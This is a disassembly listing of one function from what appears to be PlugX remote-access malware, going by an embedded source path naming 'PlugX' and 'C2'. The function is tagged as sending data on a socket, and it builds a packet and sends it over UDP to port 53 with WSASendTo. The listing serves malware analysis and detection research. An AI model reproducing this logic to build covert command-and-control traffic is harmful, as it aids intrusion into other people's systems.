Function at 0x10005fd0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, 2
push ebx
mov word [ebp - 0x20], ax
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x10030f80]
mov dword [ebp - 8], ebx
push esi
push edi
test eax, eax
jne 0x10006023
mov eax, dword [0x10030f84]
test eax, eax
jne 0x10006012
push str.ws2_32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x10030f84], eax
push str.htons
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10030f80], eax
push 0x35
call eax
cmp dword [0x10030f68], 0
mov word [ebp - 0x1e], ax
mov eax, dword [ebx + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [ebp + 8], eax
jg 0x1000604a
mov edi, 0x276d
jmp 0x100061e1
mov edi, dword [0x10031110]
test edi, edi
jne 0x100060bf
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x100060b7
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100060a0
jmp 0x100060b9
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
push esi
cmp eax, dword [edi + 0xc]
jb 0x100060de
call ebx
mov edi, 6
jmp 0x100061e1
mov edx, eax
mov eax, dword [edi]
add edx, edx
cmp dword [eax + edx*8 + 8], 0
jne 0x100060f7
call ebx
mov edi, 6
jmp 0x100061e1
inc dword [eax + edx*8]
mov eax, dword [edi]
mov ecx, dword [eax + edx*8 + 8]
mov edi, dword [eax + edx*8 + 0xc]
mov dword [ebp - 0xc], ecx
call ebx
test edi, edi
je 0x10006114
mov edi, 6
jmp 0x1000615b
mov ecx, dword [ebp - 0xc]
mov eax, 0xff01
mov word [ebp - 0x244], ax
xor edi, edi
movzx eax, word [ecx + 0x405c]
mov word [ebp - 0x242], ax
movzx eax, word [ecx + 0x405e]
mov word [ebp - 0x240], ax
movzx eax, word [ecx + 0x4092]
mov word [ebp - 0x23e], ax
mov eax, dword [ecx + 0x4094]
mov dword [ebp - 0x23c], eax
mov esi, dword [0x10031110]
test esi, esi
jne 0x100061cf
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100061c7
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop
mov eax, dword [esi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100061b0
jmp 0x100061c9
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [ebp + 8]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x100061f4
push edi
mov edx, 0x2f2
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXJoin.cpp
call fcn.10024152
add esp, 4
cmp dword [0x10030f68], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 8]
mov dword [ebp + 8], eax
jg 0x10006210
mov edi, 0x276d
jmp 0x10006401
mov edi, dword [0x10031110]
test edi, edi
jne 0x1000628f
push 0x2c
call fcn.1002422e
mov edi, eax
add esp, 4
test edi, edi
je 0x10006287
lea ecx, [edi + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [edi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [edi], eax
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [edi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x10006270
jmp 0x10006289
xor edi, edi
mov dword [0x10031110], edi
lea esi, [edi + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
push esi
cmp eax, dword [edi + 0xc]
jb 0x100062ae
call ebx
mov edi, 6
jmp 0x10006401
mov ecx, eax
mov eax, dword [edi]
shl ecx, 4
cmp dword [eax + ecx + 8], 0
je 0x100062a2
inc dword [eax + ecx]
mov eax, dword [edi]
mov ebx, dword [ecx + eax + 8]
mov edi, dword [ecx + eax + 0xc]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x100062dd
mov edi, 6
jmp 0x10006371
lea esi, [ebx + 0x40e8]
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebx + 0x4060]
cmp eax, 1
je 0x10006365
cmp eax, 7
je 0x10006365
cmp eax, 6
je 0x10006365
lea eax, [ebp - 0x244]
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x4058]
test eax, eax
je 0x10006321
mov eax, dword [eax + 0x4054]
jmp 0x10006327
mov eax, dword [ebx + 0x4054]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_WSASendTo]
cmp eax, 0xffffffff
jne 0x1000635a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x10006371
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x10006371
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, 0x139f
mov esi, dword [0x10031110]
test esi, esi
jne 0x100063ef
push 0x2c
call fcn.1002422e
mov esi, eax
add esp, 4
test esi, esi
je 0x100063e7
lea eax, [esi + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x4000
push 0x42
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0x400
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_LocalLock]
mov dword [esi], eax
xor ecx, ecx
nop word [eax + eax]
mov eax, dword [esi]
mov dword [eax + ecx + 8], 0
add ecx, 0x10
cmp ecx, 0x4000
jl 0x100063d0
jmp 0x100063e9
xor esi, esi
mov dword [0x10031110], esi
mov eax, dword [ebp + 8]
push 0
push ecx
push eax
mov ecx, esi
call fcn.10024b68
test edi, edi
je 0x10006414
push edi
mov edx, 0x2f7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXJoin.cpp
call fcn.10024152
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4